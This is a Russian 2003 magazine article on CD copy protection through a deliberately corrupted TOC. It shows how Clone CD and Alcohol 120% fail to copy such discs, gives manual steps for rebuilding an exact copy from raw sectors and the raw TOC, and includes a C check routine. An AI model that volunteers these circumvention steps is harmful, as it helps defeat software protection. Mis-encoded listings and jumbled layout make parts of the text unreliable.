Как мы видим, здесь присутствует как абсолютный, измеряемый в минутах, секундах, фреймах, так и LBA-адрес трека, представляющий собой не что иное, как порядковый номер сектора, считая от нуля. На самом деле, LBA-адрес – это «отсебятина», добавляемая в файл самим Clone CD, и в TOC LBA-адрес не хранится. Судя по всему, Clone CD вычисляет LBA-адрес исходя из соображений удобства (работать с LBA-адресацией действительно намного комфортнее). Однако при внесении каких-либо изменений в CCD-файл за согласованием обоих типов адресов нам придется следить самостоятельно. Для перевода абсолютных адресов в LBA можно воспользоваться следующей формулой:

37


администрирование Logical Sector Address=(((Minute∗60)+Seconds)∗75+Frame)–150

Ниже представлен вид атрибутов трека 1 до и после искажения: Ëèñòèíã 3. Àòðèáóòû òðåêà 1 äî èñêàæåíèé (ñëåâà) è ïîñëå èñêàæåíèÿ (ñïðàâà). [Entry 3] Session=1 Point=0x01 ADR=0x01 Control=0x04 TrackNo=0 AMin=0 ASec=0 AFrame=0 ALBA=-150 Zero=0 PMin=0 PSec=2 PFrame=0 PLBA=0

--> --> --> -->

[Entry 3] Session=1 Point=0x01 ADR=0x01 Control=0x04 TrackNo=0 AMin=0 ASec=0 AFrame=0 ALBA=-150 Zero=0 PMin=10 PSec=2 PFrame=0 PLBA=-1

На самом деле, коварный автор схитрил и вместо вычислений LBA-адреса сослался на тот факт, что его версия Clone CD всегда использует абсолютные адреса, а LBA игнорирует. Выбор абсолютного адреса первого трека произвольный, но осуществленный с таким расчетом, чтобы искаженный адрес гарантированно вылетал за границы первой сессии, Lead-out-область которой находится по адресу 00:29:33 (см. элемент TOC №2).

Шаг четвертый Теперь смонтируем искаженный образ диска на виртуальный привод, создаваемый программой Alcohol 120%, и посмотрим, что из этого получилось. Конечно, нет никакой уверенности в том, что виртуальный привод поведет себя как настоящий, но ведь и настоящие приводы на искаженных дисках ведут себя по-разному! Поэтому использовать Alcohol в качестве рабочего «макетника» вполне допустимо, тем более что это экономит уйму времени и болванок, ведь монтирование виртуального диска в отличие от «прожига» болванки осуществляется мгновенно, если, конечно, оно вообще осуществляется… Вплоть до версии 1.4.3 включительно – самой свежей версии на момент написания этих строк – Alcohol органически не переваривал искаженные образы дисков и отказывался их монтировать, апеллируя к недоступности образа файла: «Unable to mount image. File not accessible». Судя по всему, Alcohol понимает искаженный TOC слишком буквально, пытаясь отыскать в файле-образе то, чего там заведомо нет (трека, начинающегося с адреса 10:02:00 и заканчивающегося адресом 00:29:33 там нет точно!). Какая жалость! Возможность монтирования дисковых образов с искаженным TOC позволила бы нам преодолевать защиту от копирования на любых пишущих приводах, а не только на тех, что поддерживают режим RAW DAO, – просто сбрасываем образ защищенного диска на болванку в виде обыкновенного файла и динамически монтируем его Alcohol по мере необходимости. Выходит, что на проверку Alcohol оказывается гораздо менее крут, чем это кажется!

38

Шаг пятый В порядке эксперимента попробуем «прожечь» искаженный образ в режиме RAW SAO, в котором, как уже было сказано выше, корректная запись сессий с искаженным TOC невозможна. Для гарантированного исключения возможных побочных эффектов желательно использовать привод, не поддерживающий RAW DAO чисто физически (ну мало ли, вдруг копировщик в плане проявления чудес искусственного интеллекта автоматически перейдет на более подходящий режим записи, игнорируя наши установки). Мастер записи образов копировщика Alcohol 120% выдает следующую информацию о записываемом образе: Ëèñòèíã 4. Ñâîäíàÿ èíôîðìàöèÿ ïî çàïèñûâàåìîìó îáðàçó, âûäàâàåìàÿ Alcohol. Îáðàòèòå âíèìàíèå íà ðàçìåðû è àäðåñ ïåðâîãî òðåêà ïåðâîé ñåññèè (îíè âûäåëåíû äðóãèì öâåòîì). Òèï: Ïóòü: Èìÿ: Ðàçìåð: Ñåññèé: Òðåêîâ: Ñåññèÿ Òðåê Ñåññèÿ Òðåê

Ôàéë-îáðàç Clone CD L:\ Image.ccd Image.img Image.sub 8.81 MB 2 2 01: 01: Mode 1, Äëèíà: -42942(8191.92 GB), Àäðåñ: 045000 02: 02: Mode 1, Äëèíà: 001715(3.3 MB), Àäðåñ: 013458

Вот это номер! Если верить Alcohol, то длина первого трека составляет целых 8 Тб. Этот чудовищный объем не то что на CD на DVD-диск не влезет! На самом деле, длина треков в TOC нигде явным образом не хранится, но вычисляется как разница стартовых адресов двух смежных треков (если же сессия содержит всего один трек, в ход идет адрес Lead-out-области, примыкающий к треку). Искажение стартового адреса первого трека привело к тому, что разница стартовых адресов Lead-out-области и этого самого трека стала отрицательной. Действительно, 00:29:33 – 10:02:00 = 2058 – 45000 = – 42942, а если вспомнить, что LBA-адреса по стандарту выражаются 32-разрядными неотрицательными числами, становится понятно, как Alcohol получил такой неестественно огромный объем (отрицательные числа – это такие числа, чей старший бит взведен, отсюда – маленькое отрицательное число – это очень большое положительное). Расчеты показывают, что заявленное Alcohol значение в 8 Тб достигается лишь при использовании 43-битных переменных. Вот это да! Alcohol спроектирован с запасом на будущее (а в будущем нас, как известно, ждут диски с объемами от 30 и более гигабайт, для адресации которых 32 бит оказывается уже недостаточно, плюс еще необходимо учесть резерв, предназначенный для «отлова» отрицательных длин, образовавшихся в результате жестоких извращений с TOC, ведь Alcohol – это защищенный копировщик!) И вот наступает волнующий момент – момент заливки искаженного образа на CD-R/CD-RW-диск (внимание! используя CD-RW-диск, вы должны отдавать себе отчет в том, что можете его безвозвратно потерять! Если ваш единственный пишущий привод откажется опознавать такой диск, очистка последнего окажется невозможной!). Благополучно проглотив искаженный образ, Alcohol, безо всяких препирательств со своей стороны зажигает огонек индикации за-


администрирование писи (если, конечно, на вашем приводе он есть) и приступает к делу. Проходит минута, другая… а индикатор прогресса по-прежнему остается на нуле. К исходу шестой минуты, когда пишущая головка достигает кромки диска, процесс записи аварийно прерывается приводом и Alcohol, издав грустное «бэмс», сигнализирует об аппаратной ошибке. Просмотр «недорезанного» диска на приводах ASUS и NEC обнаруживает лишь первую сессию, а от второй не видно и следа. С приводом PHILIPS дела обстоят еще хуже – он вообще отказывается признавать засунутую в него штуку лазерным диском, и после непродолжительного скрежета своих механических внутренностей, сопровождаемых натужными завываниями перебирающего различные скорости мотора, индикатор «DISC IN» прощально гаснет. «Прощально» в том смысле, что с испорченной болванкой вам придется расстаться. Конечно, если это всего лишь дешевый CD-R, то туда ему и дорога, но потерять CD-RW жалко. К счастью, на NEC очистка диска протекает успешно, и, воодушевленные этим обстоятельством, мы продолжаем свои издевательства вновь. Копировщик Clone CD ведет себя в этом отношении иначе. Во-первых, он оценивает длину искаженного трека в 4 294 868 664 Кб (см. листинг, приведенный ниже), что указывает на использование 32-разрядных переменных и вытекающую отсюда невозможность отличать положительные длины от отрицательных. Ëèñòèíã 5. Ñâîäíàÿ èíôîðìàöèÿ ïî çàïèñûâàåìîìó îáðàçó, âûäàâàåìàÿ Clone CD. Îáðàòèòå âíèìàíèå íà ðàçìåð ïåðâîãî òðåêà ïåðâîé ñåññèè (îí âûäåëåí äðóãèì öâåòîì). ÈÍÔÎÐÌÀÖÈß Î ÔÀÉËÅ-ÎÁÐÀÇÅ: ×èñëî ñåññèé: 2 Çàíÿòî íà äèñêå: 34850 Êáàéò Ñåêòîðîâ: 15173 Âðåìÿ: 03:22:23 (ìèí:ñåê:êàäð)

лифицированные пользователи, использующие Clone CD для своих нужд? В общем мрак, одним словом… Правда, в режиме RAW DAO нарезка искаженного образа протекает отлично и Clone CD не вносит в TOC никакой отсебятины, благодаря чему у нас образуется действительно защищенный CD, который мы сейчас и будем ломать.

Шаг шестой Просмотр защищенного диска под приводом NEC показывает все файлы, даже те, что принадлежат первому треку – тому самому треку, чей стартовый адрес жестоко искажен. Двойной щелчок мышью доказывает, что файлы не только присутствуют в каталоге, но и успешно открываются ассоциированным с ними приложениям и, судя по всему, выглядят вполне нормальными. Нашу душу начинают грызть смутные сомнения: действительно ли пишущий привод записал стартовый адрес первого трека таким, каким мы просили, или молчаливо исправил его на лету? Для ответа на этот вопрос мы должны исследовать геометрию диска, т.е., попросту говоря, прочитать TOC. Запускаем уже полюбившийся нам Roxio Easy CD Creator и в меню «CD» находим пункт «CD Information». Щелкаем по нему мышкой, и на экран тут же выпрыгивает диалоговое окно с раскладкой диска (внимание! не все программы способны «переваривать» искаженный TOC! Easy CD Creator это умеет, а вот, например, Record NOW! – нет. В отсутствии подходящей утилиты вы можете воспользоваться программой raw.TOC.exe, поставляемой вместе с этой книгой). Как и следовало ожидать, стартовый адрес первого трека лежит далеко за пределами своей «родной» сессии, и его длина, будучи выраженная положительным числом, значительно превышает доступную емкость диска (см. рис. ниже). Так что все наши волнения абсолютно безосновательны!

ÈÍÔÎÐÌÀÖÈß Î ÑÅÑÑÈÈ 1: Ðàçìåð ñåññèè: 4726 Êáàéò ×èñëî òðåêîâ: 1 Pregap: Äàííûå Mode 1, ðàçìåð: 103359 Êáàéò Track 1: Äàííûå Mode 1, ðàçìåð: 4294868664 Êáàéò ÈÍÔÎÐÌÀÖÈß Î ÑÅÑÑÈÈ 2: Ðàçìåð ñåññèè: 3939 Êáàéò ×èñëî òðåêîâ: 1 Track 2: Äàííûå Mode 1, ðàçìåð: 3939 Êáàéò

Во-вторых, обнаружив, что запись искаженного TOC на данном приводе невозможна, Clone CD корректирует TOC так, чтобы его облик принял человеческий вид. В результате процесс «прожига» протекает без каких-либо ошибок и мы получаем как будто бы работоспособный диск. Стартовый адрес первого трека начинается там, где кончается Lead-in-область первой сессии (точнее, pre-gap первого трека начинается там, где кончается post-gap Lead-in-области первой сессии, но это уже детали). Такой диск нормально читается в любом приводе CD-ROM, но! Если защитный механизм прочитает содержимое TOC, он легко обнаружит, что имеет дело с копией, но не с оригиналом. Спрашивается: и на кой черт нам такое копирование нужно?! Хоть бы предупреждение было какое… Ладно, профессионалы запросто определят, в чем подвох, но в каком положении окажутся новички, и/или просто ква-

№9(10), сентябрь 2003

Ðèñóíîê 1. Îòðèöàòåëüíàÿ äëèíà ïåðâîãî òðåêà ñâîäèò øòàòíûé êîïèðîâùèê ñ óìà

Постойте, но как же тогда осуществляется доступ к содержимому первого трека? А кто вам вообще сказал, что лазерный диск адресуется по трекам?! Основной адресацией лазерного диска с данными является сектор. Абсолютный же адрес всякого сектора однозначно определяется принадлежащим ему Q-каналом подкода (с учетом не-

39


администрирование совпадения границ секций и секторов максимально возможное расхождение, допускаемое стандартом, составляет 1 сек, т.е. 75 секторов, поэтому этот способ используется лишь для грубого позиционирования оптической головки). Точная наводка на цель выполняется непосредственно по самому секторному заголовку, в явном виде содержащему его абсолютный адрес. Номера треков в процессе обработки сектора вообще не участвуют, вернее могут и не участвовать… Но могут ведь и участвовать! Все зависит от электронной начинки привода и его микропрограммной прошивки. Как именно они в этом участвуют – сие есть великая тайна разработчиков привода, и простым смертным ее понять не дано. Но так или иначе, встретив некорректный TOC, некоторые приводы запутываются, и в стройных битовых рядах возникает настоящая сумятица. Результаты тестирования трех моих приводов следующие: NEC, как уже говорилось выше, показывает содержимое обоих секций, корректно обрабатывая их содержимое. ASUS показывает только первую – искаженную – сессию и в упор не видит вторую, делая ее недоступной даже на секторном уровне. Зато файлы первой сессии обрабатываются вполне корректно. PHILIPS, напротив, видит обе сессии, но корректно обрабатывает файлы лишь последней из них (т.е. той, что не искажена). Искаженная сессия доступна на секторном уровне, но нестабильно. Иногда без всяких видимых причин PHILIPS и возвращает лишенный всякого смысла мусор. Мораль: защитные механизмы, базирующиеся на искаженном TOC, не могут закладываться ни на одну из сессий. Поэтому обе сессии должны дублировать содержимое друг друга – авось хоть одну из них привод пользователя да прочтет. Какой же тогда в этой защите смысл? А вот какой – пускай защита не может без риска для жизни привязаться к сессиям, она может привязаться к сырому содержимому TOC. О том, как осуществить такую привязку на практике, мы поговорим чуточку позднее, а пока попробуем скопировать защищенный диск нашими фаворитами – Clone CD и Alcohol 120%.

Автоматическое копирование и обсуждение его результатов В какой бы привод защищенный диск ни был вставлен, Clone CD выдает неизменно постоянный результат, не имеющий ничего общего с реальной действительностью. По его скромному мнению, диск содержит всего одну сессию с общей протяженностью в 4,6 Мб, но зато размер единственного трека последней составляет ни много ни мало – 3,9 Тб! Ëèñòèíã 6. Òàêèì âèäèò çàùèùåííûé äèñê êîïèðîâùèê Clone CD. Îáðàòèòå âíèìàíèå, ÷òî îí ðàñïîçíàë ëèøü îäíó ñåññèþ èç äâóõ (ïåðâóþ), äà è òî íåïðàâèëüíî. ÈÍÔÎÐÌÀÖÈß Î CD  ÄÈÑÊÎÂÎÄÅ: ×èñëî ñåññèé: 1 Çàíÿòî íà äèñêå: 4726 Êáàéò Ñåêòîðîâ: 2058 Âðåìÿ: 00:27:33 (ìèí:ñåê:êàäð) ÈÍÔÎÐÌÀÖÈß Î ÑÅÑÑÈÈ 1: Ðàçìåð ñåññèè: 4726 Êáàéò ×èñëî òðåêîâ: 1 Pregap: Äàííûå Mode 1, ðàçìåð: 103359 Êáàéò Track 1: Data, ðàçìåð: 4294868664 Êáàéò

40

Еще до завершения процесса копирования нас начинают одолевать стойкие сомнения или, я бы даже сказал, непоколебимая уверенность в том, что диск будет скопирован неправильно. И действительно, чего мы опасались, то мы и получили! Давайте создадим образ скопированного диска в плане сравнения копии TOC с оригиналом. Ëèñòèíã 7. Îáðàç çàùèùåííîãî äèñêà, ñíÿòûé ïðîãðàììîé Clone CD (íåñîîòâåòñòâóþùèå ïîëÿ âûäåëåíû äðóãèì öâåòîì). [CloneCD] Version=3

; äàííûå î êîïèðîâùèêå ; âåðñèÿ Clone CD

[Disc] TocEntries=7

; äàííûå î äèñêå ; êîëè÷åñòâî ýëåìåíòîâ TOC = 7 ; (â îðèãèíàëå áûëî 12) Sessions=1 ; êîë-âî ñåññèé = 1 ; (â îðèãèíàëå áûëî 2) DataTracksScrambled=0 ; ïîëå DVD CDTextLength=0 ; CD-Text â ïîëÿõ ïîäêîäà ; Lead-in-îáëàñòè îòñóòñòâóåò [Session 1] ; äàííûå ñåññèè 1 PreGapMode=1 ; òèï òðåêà == Mode 1 PreGapSubC=0 ; äàííûõ ïîäêàíàëà – íåò [Entry 0] Session=1 Point=0xa0 ADR=0x01 Control=0x04 TrackNo=0 AMin=0 ASec=0 AFrame=0 ALBA=-150 Zero=0 PMin=1 PSec=0 PFrame=0 PLBA=4350 [Entry 1] Session=1 Point=0xa1 ADR=0x01 Control=0x04 TrackNo=0 AMin=0 ASec=0 AFrame=0 ALBA=-150 Zero=0 PMin=1 PSec=0 PFrame=0 PLBA=4350 [Entry 2] Session=1 Point=0xa2 ADR=0x01 Control=0x04 TrackNo=0 AMin=0 ASec=0 AFrame=0 ALBA=-150 Zero=0 PMin=0 PSec=29 PFrame=33 PLBA=2058

; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ;

äàííûå ýëåìåíòà TOC ¹0 ýëåìåíò ñåññèè 1 íîìåð ïåðâîãî òðåêà ñåññèè 1 â PMin/òèï äèñêà â PSec q-Mode == 1 äèñê ñ äàííûìè, çàïðåùåííûé äëÿ êîïèðîâàíèÿ òðåê, êîòîðûé ìû ñåé÷àñ ÷èòàåì, – ýòî Lead-in-òðåê (ò.å. TOC) \ + - àáñîëþòíûé àäðåñ òåêóùåãî òðåêà / LBA-àäðåñ òåêóùåãî òðåêà ýòî ïîëå äîëæíî áûòü ðàâíî íóëþ, êàê îíî è åñòü íîìåð ïåðâîãî òðåêà ñåññèè 1 òèï äèñêà CD-DA è CD-ROM-äèñê â Mode 1 íå íåñåò íèêàêîé ïîëåçíîé èíôîðìàöèè íîìåð òðåêà, ïðåäñòàâëåííûé Clone CD êàê LBA-àäðåñ, ò.å. ãëóïîñòü äàííûå ýëåìåíòà TOC ¹1 ýëåìåíò ñåññèè 1 íîìåð ïîñëåäíåãî òðåêà ñåññèè 1 â PMin q-Mode == 1 äèñê ñ äàííûìè, çàïðåùåííûé äëÿ êîïèðîâàíèÿ òðåê, êîòîðûé ìû ñåé÷àñ ÷èòàåì, – ýòî Lead-in-òðåê (ò.å. TOC) \ + - àáñîëþòíûé àäðåñ òåêóùåãî òðåêà / LBA-àäðåñ òåêóùåãî òðåêà ýòî ïîëå äîëæíî áûòü ðàâíî íóëþ, êàê îíî è åñòü íîìåð ïîñëåäíåãî òðåêà ñåññèè 1 (â ñåññèè òîëüêî îäèí òðåê) íå íåñåò íèêàêîé ïîëåçíîé èíôîðìàöèè íå íåñåò íèêàêîé ïîëåçíîé èíôîðìàöèè íîìåð òðåêà, ïðåäñòàâëåííûé Clone CD êàê LBA-àäðåñ, ò.å. ãëóïîñòü äàííûå ýëåìåíòà TOC ¹2 ýëåìåíò ñåññèè 1 ïîëîæåíèå Lead-out-îáëàñòè â PMin:PSec:PFrame q-Mode == 1 äèñê ñ äàííûìè, çàïðåùåííûé äëÿ êîïèðîâàíèÿ òðåê, êîòîðûé ìû ñåé÷àñ ÷èòàåì, – ýòî Lead-in-òðåê (ò.å. TOC) \ + - àáñîëþòíûé àäðåñ òåêóùåãî òðåêà / LBA-àäðåñ òåêóùåãî òðåêà ýòî ïîëå äîëæíî áûòü ðàâíî íóëþ, êàê îíî è åñòü \ + - àáñîëþòíûé àäðåñ Lead-out-îáëàñòè ñåññèè 1 / LBA-àäðåñ Lead-out-îáëàñòè ñåññèè 1


администрирование [Entry 3] Session=1 Point=0x01 ADR=0x01 Control=0x04 TrackNo=0 AMin=0 ASec=0 AFrame=0 ALBA=-150 Zero=0 PMin=10 PSec=2 PFrame=0 PLBA=45000 [Entry 4] Session=1 Point=0xb0 ADR=0x05 Control=0x04 TrackNo=0 AMin=2 ASec=59 AFrame=33 ALBA=13308 Zero=3 PMin=22 PSec=14 PFrame=34 PLBA=99934 [Entry 5] Session=1 Point=0xc0 ADR=0x05 Control=0x04 TrackNo=0 AMin=162 ASec=200 AFrame=224 ALBA=294074 Zero=0 PMin=97 PSec=27 PFrame=21 PLBA=-11604 [Entry 6] Session=1 Point=0xc1 ADR=0x05 Control=0x04 TrackNo=0 AMin=4 ASec=192 AFrame=150 ALBA=32400 Zero=0 PMin=0 PSec=0 PFrame=0 PLBA=-150

; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ;

äàííûå ýëåìåíòà TOC ¹3 ýëåìåíò ñåññèè 1 äàííûå òðåêà 1 ñåññèè 1 q-Mode == 1 äèñê ñ äàííûìè, çàïðåùåííûé äëÿ êîïèðîâàíèÿ òðåê, êîòîðûé ìû ñåé÷àñ ÷èòàåì, – ýòî Lead-in-òðåê (ò.å. TOC) \ + - àáñîëþòíûé àäðåñ òåêóùåãî òðåêà / LBA-àäðåñ òåêóùåãî òðåêà ýòî ïîëå äîëæíî áûòü ðàâíî íóëþ, êàê îíî è åñòü \ + - àáñîëþòíûé àäðåñ íà÷àëà òðåêà 1 ñåññèè 1 / LBA-àäðåñ íà÷àëà òðåêà 1 ñåññèè 1

; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ;

äàííûå ýëåìåíòà TOC ¹4 ýëåìåíò ñåññèè 1 ïîçèöèÿ ñëåäóþùåé çàïèñûâàåìîé îáëàñòè â AMin:ASec:AFrame q-Mode == 1 äèñê ñ äàííûìè, çàïðåùåííûé äëÿ êîïèðîâàíèÿ òðåê, êîòîðûé ìû ñåé÷àñ ÷èòàåì, – ýòî Lead-in-òðåê (ò.å. TOC) \ + - àáñîëþòíûé àäðåñ ñëåäóþùåé çàïèñûâàåìîé îáëàñòè / LBA-àäðåñ ñëåäóþùåé çàïèñûâàåìîé îáëàñòè êîëè÷åñòâî pointer â Mode 5 \ + - àáñîëþòíûé àäðåñ ìàêñèìàëüíîé çàïèñûâàåìîé îáëàñòè / LBA-àäðåñ ìàêñèìàëüíîé çàïèñûâàåìîé îáëàñòè äàííûå ýëåìåíòà TOC ¹5 ýëåìåíò ñåññèè 1 ñòàðòîâûé àäðåñ Lead-in-îáëàñòè Hybrid-äèñêà (åñëè îí åñòü) Mode 5 (Îðàíæåâàÿ êíèãà) äèñê ñ äàííûìè, çàïðåùåííûé äëÿ êîïèðîâàíèÿ òðåê, êîòîðûé ìû ñåé÷àñ ÷èòàåì, – ýòî Lead-in-òðåê (ò.å. TOC) ðåêîìåíäóåìàÿ ìîùíîñòü ëàçåðà äëÿ Application code (â îðèãèíàëå çäåñü áûëî 128) â îðèãèíàëå çäåñü áûëî 140 LBA-"àäðåñ" òðåõ ïðåäûäóùèõ ïîëåé çàðåçåðâèðîâàíî \ + - àáñîëþòíûé àäðåñ Lead-in-îáëàñòè Hybrid-äèñêà / (àäðåñ ëåæèò çà ïðåäåëàìè äèñêà, ò.å. Hybrid-äèñêà íåò) LBA-àäðåñ Lead-in-îáëàñòè Hybrid (âû÷èñëåí ñ ïåðåïîëíåíèåì) äàííûå ýëåìåíòà TOC ¹6 ýëåìåíò ñåññèè 1 êîïèÿ ATIP-èíôîðìàöèè -+ -+ -+ -+ -+ -+- ATIP (èçìåíåíà!) -+ -+ -+ -+ -+

сохранились, оказались неожиданно измененными поля Application Code и ATIP (и это несмотря на то, что запись производилась на ту же самую CD-RW-болванку, что и раньше, хотя ее «прожиг» осуществлялся различными приводами). Как следствие: скопированный диск оказывается работоспособен не на всех приводах (ASUS и NEC его прочитают, а вот PHILIPS – нет), к тому же защите ничего не стоит прочитать текущий TOC и сравнить его с эталонным. Короче говоря, «факир был пьян, и фокус не удался». Что ж, попробуем обратиться за помощью к Alcohol– уж он-то должен наверняка с этим справиться. Действительно, Alcohol видит обе сессии: как искаженную, так и неискаженную, однако по малопонятным причинам сохраняет в образ лишь вторую из них (Clone CD сохранял первую). Ну что это за зоопарк, а? Содержимое TOC скопированного диска можно даже и не сравнивать – там будет далеко не то, что защита собирается ожидать. И напрасно! Содержимое TOC, снятое Alcohol, практически полностью соответствует оригиналу. Единственно, в чем ошибся Alcohol, – определил тип pre-gap обоих треков не как Mode 1, но как Mode 2. Впрочем, в силу отсутствия в образе первой сессии полученная с его помощью копия диска все равно оказывается неработоспособной.

Ðèñóíîê 2. Alcohol âèäèò îáå ñåññèè çàùèùåííîãî äèñêà, íî…

[TRACK 1] MODE=0 INDEX 1=45000

Сокращение сессий с двух до одной очень сильно смущает. Куда девалась вторая – неискаженная(!) сессия, вообще непонятно. И, хотя искаженные данные первого трека

№9(10), сентябрь 2003

Ðèñóíîê 3. Êîïèðóåò ëèøü âòîðóþ èç íèõ, à ïåðâóþ íàãëî ïðîïóñêàåò

41


администрирование А ведь заявлялось, что Clone CD/Alcohol 120% способны копировать любые существующие на сегодняшний момент защищенные диски, и вдруг на поверку оказывается, что даже такую простую защиту, которую может создать на кончике пенька любой программист, они преодолеть ни вместе, ни по раздельности не в состоянии! Причем аппаратура, на которой все эти эксперименты и осуществлялись, возможность корректного копирования искаженного диска гарантированно поддерживает (сам проверял), и потому отмахнуться физическими ограничениями приводов разработчикам обоих копировщиков уже не удастся! Даже не верится, что такой простой прием «ослепляет» лучших копировщиков защищенных дисков! Неужели и вправду создание некопируемых дисков вполне осуществимо на обыкновенном бытовом оборудовании?! Да! Именно так! Конечно, не стоит путать некопируемость диска автоматическими копировщиками с принципиальной невозможностью получения его идентичной копии. В ручном режиме копирование таких дисков вполне осуществимо (правда, при условии, что ваш пишущий привод поддерживает режим RAW DAO, а читающий – читает сектора из обоих секций), и сейчас мы продемонстрируем как.

Так как же все-таки скопировать такой диск? Конечно, с помощью «Добермана Пинчера» (или любого другого блочного копировщика файлов), HIEW, двух образов защищенного диска (один – с первой сессией – от Clone CD, другой – со второй сессией – от Alcohol) мы можем воссоздать идентичную копию оригинального диска путем их совокупного объединения, но… это будет както не по-хакерски, да и вообще некрасиво. Чтобы не писать свою собственную программу «прожига» диска, ограничимся использованием Clone CD. При условии, что подсунутый ему образ диска запечатлен правильно, Clone CD обычно справляется с прожигом «на ура». Итак, у нас есть более и менее верный файл image.ccd, содержащий TOC, но недостает файла образа image.img. Попробуем его получить? Будем отталкиваться от того, что LBA-адреса всех секторов диска пронумерованы последовательно, включая области, занятые Lead-In/Lead-Out и прочим служебным барахлом. Разумеется, непосредственное чтение служебных областей диска на секторном уровне невозможно, но… именно на этом мы и собираемся сыграть! Последовательно читая диск с первого по последний сектор, мы обнаружим, что сектора с LBA-адресами с 0 по 2055 сектор включительно читаются без каких-либо проблем, после чего наступает сумеречная зона нечитающихся секторов, протянувшаяся вплоть до сектора 13307. Здесь сектора либо совсем не читаются либо возвращаются в сильно мутированном виде, легко опознаваемые по отсутствию правильной синхропоследовательности в их заголовке. Наконец, с адреса 13308 чтение вновь продолжается без каких-либо проблем. Судя по всему мы имеем дело с двухсессионным диском и сумеречная зона между сессиями есть ни что иное, как Lead-Out/Lead-In. Накинув два сектора на post-gap (при условии, что он записан с соблюдением стандарта), получа-

42

ем, что LBA-адрес последнего значимого сектора первой сессии составляет 2057 или, в пересчете на абсолютные единицы – 00 минут, 29 секунд и еще 32 фрейма. Соответственно, LBA-адрес первого сектора второй сессии равен 13308 + 150 (pre-gap) == 13458, или 3 минуты, 1 секунда, 33 фрейма. Конечно, если исследуемый диск содержит большое количество ошибок, то его анализ значительно усложняется, т.к. физические дефекты на секторном уровне могут выглядеть точно так же, как Lead-In/Lead-Out-области, конечно, при том условии, что дефективные области имеют соответствующую протяженность, – а это вряд ли. Отбросив сектора, расположенные в зонах pre- и postgap (т.е. 150 секторов от конца первой читаемой области и ровно столько же от начала следующей), мы должны объединить их в один файл, используя для этой цели любой файловый копировщик (например, штатную команду MSDOS copy file_1 /b + file_2 image.img). Остается прочитать сырой TOC SCSI/ATAPI командой READ TOC (opcode: 43h, format: 2h) и записать его в image.ccd файл в соответствии с синтаксисом Clone CD. Как альтернативный вариант – можно воспользоваться ccd-файлом, сформированным программой Alcohol, предварительно скорректировав pregap Mode (как уже сказано выше, Alcohol определил его неправильно, перепутав Mode 1 с Mode 2). Согласно стандарту режим сектора задается пятнадцатым, считая от нуля, байтом его заголовка. Если этот байт равен одному (что, собственно, и наблюдается в нашем случае), то и Mode сектора будет 1, но не 2. При условии, что все сделано правильно, после записи собственноручно сформированного образа диска мы получаем практически идентичный оригинал. Просто? Да проще простого! И написать автоматический копировщик, автоматизирующий наш труд, можно буквально за несколько часов! Если чтение «сырых» секторов с диска представляет для вас проблему, воспользуйтесь исходными текстами утилит ASPI32.raw/SPTI.raw, как раз такое чтение и осуществляющих. Так что искажение TOC – не очень-то надежный прием защиты от копирования, как ни крути. Правда, от обычных пользователей, вооруженных Clone CD/Alcohol, он все-таки спасает, а больше от защиты зачастую и не требуется.

Пример реализации защиты на программном уровне Покажем теперь, как такая защита может быть реализована на программном уровне. Самое простое, что можно сделать, – отправить приводу команду «сырого» чтения TOC (opcode: 43h, format: 2h) и сравнить возращенный ею результат с эталоном. Какие именно поля TOC защита будет проверять, – это ее личное дело. По минимуму достаточно проверить количество сессий и стартовый адрес искаженного трека. По максимуму можно контролировать весь TOC целиком. Естественно, от побайтового сравнения контролируемого TOC с оригиналом настоятельно рекомендуется воздержаться, т.к. это неявно закладывает защиту на особенности микропрограммной прошивки читающего привода. Стандарт ничего не говорит о том, в каком порядке должно возвращаться содержимое TOC, и потому его бинарное представление может варьировать-


администрирование CDB[7] = HIBYTE(MAX_TOC_SIZE); CDB[8] = LOBYTE(MAX_TOC_SIZE);

ся от привода к приводу. Грамотно спроектированная защита должна анализировать только те поля, к содержимому которых она привязывается явно. Демонстрационный пример, приведенный ниже, как раз и иллюстрирует технику корректной привязки к TOC. Разумеется, явная проверка целости TOC может быть элементарно обнаружена хакером и выкинута из программы как ненужная, поэтому не стоит копировать этот демонстрационный пример один к одному в свои программы. Лучше используйте значения полей TOC как рабочие константы, жизненно необходимые для нормальной работоспособности программы, – в этом случае сличение паспортов с лицами будет не столь наглядным. Естественно, явная проверка оригинальности диска все равно обязана быть, но ее основная цель отнюдь не защитить программу от взлома, а довести до сведения пользователя, что проверяемый диск с точки зрения защиты не является лицензионным.

// ÷èòàåì TOC while(1) { // ïîñûëàåì CDB-áëîê SCSI/ATAPI-óñòðîéñòâó a = SEND_SCSI_CMD(argv[1], CDB, ATAPI_CDB_SIZE, ↵ NO_SENSE, TOC, MAX_TOC_SIZE, SCSI_DATA_IN); // TOC óñïåøíî ïðî÷èòàí, ðâåì êîãòè if (a == SCSI_OK) break; // ïðîèçîøëà îøèáêà. Âîçìîæíî ïðèâîä íå ãîòîâ? // âûäåðæèâàåì ïàóçó Sleep(TRY_DELAY); // ìàêñèìàëüíîå êîëè÷åñòâî ïîïûòîê óæå âûøëî? if (try++ == MAX_TRY) { fprintf(stderr,"-ERR: can not read ↵ TOC\x7\n"); return -1;} } // TOC ïðî÷èòàí, ïðèñòóïàåì ê åãî àíàëèçó //--------------------------------------// ïðîâåðêà êîëè÷åñòâà ñåññèé if ((TOC[3] - TOC[2]) != (_N_SESSION-1)) {fprintf(stderr, "-ERR: not original ↵ CD\n");return -1;}

Ëèñòèíã 8. Äåìîíñòðàöèîííûé ïðèìåð ïðîñòåéøåé çàùèòû, ïðèâÿçûâàþùåéñÿ ê èñêàæåííîìó TOC è íå ïîçâîëÿþùåé ñåáÿ êîïèðîâàòü.

